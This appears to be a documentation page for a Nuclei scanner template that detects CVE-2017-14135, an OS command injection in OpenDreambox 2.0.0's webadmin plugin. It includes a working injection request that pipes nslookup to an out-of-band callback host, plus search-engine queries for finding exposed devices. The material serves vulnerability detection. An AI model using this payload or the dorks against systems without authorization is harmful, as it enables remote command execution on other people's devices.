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OpenDreambox 2.0.0 - Remote Code Execution

ID: CVE-2017-14135

Severity: critical

Author: alph4byt3

Tags: cve,cve2017,dreambox,rce,oast,edb

Description

Section titled “Description”

OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py.

YAML Source

Section titled “YAML Source”
id: CVE-2017-14135


info:
  name: OpenDreambox 2.0.0 - Remote Code Execution
  author: alph4byt3
  severity: critical
  description: OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of OpenDreambox.
  reference:
    - https://the-infosec.com/2017/05/12/from-shodan-to-rce-opendreambox-2-0-0-code-execution/
    - https://www.exploit-db.com/exploits/42293
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14135
    - https://the-infosec.com/2017/07/05/from-shodan-to-rce-opendreambox-2-0-0-code-execution/
    - https://github.com/qazbnm456/awesome-cve-poc
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-14135
    cwe-id: CWE-78
    epss-score: 0.96679
    epss-percentile: 0.99643
    cpe: cpe:2.3:a:dreambox:opendreambox:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dreambox
    product: opendreambox
    shodan-query:
      - title:"Dreambox WebControl"
      - http.title:"dreambox webcontrol"
    fofa-query: title="dreambox webcontrol"
    google-query: intitle:"dreambox webcontrol"
  tags: cve,cve2017,dreambox,rce,oast,edb


http:
  - raw:
      - |
        GET /webadmin/script?command=|%20nslookup%20{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/bin/sh"
          - "/usr/script"
        condition: and


      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022061529e98f19b10f3321d96c67057f74d238bf393018b34c0256a9e49e1543b7d022100c219e21dc069891946f4e92d544c9d97d96533569614d7fdabbfb0632af945b7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-14135.yaml"

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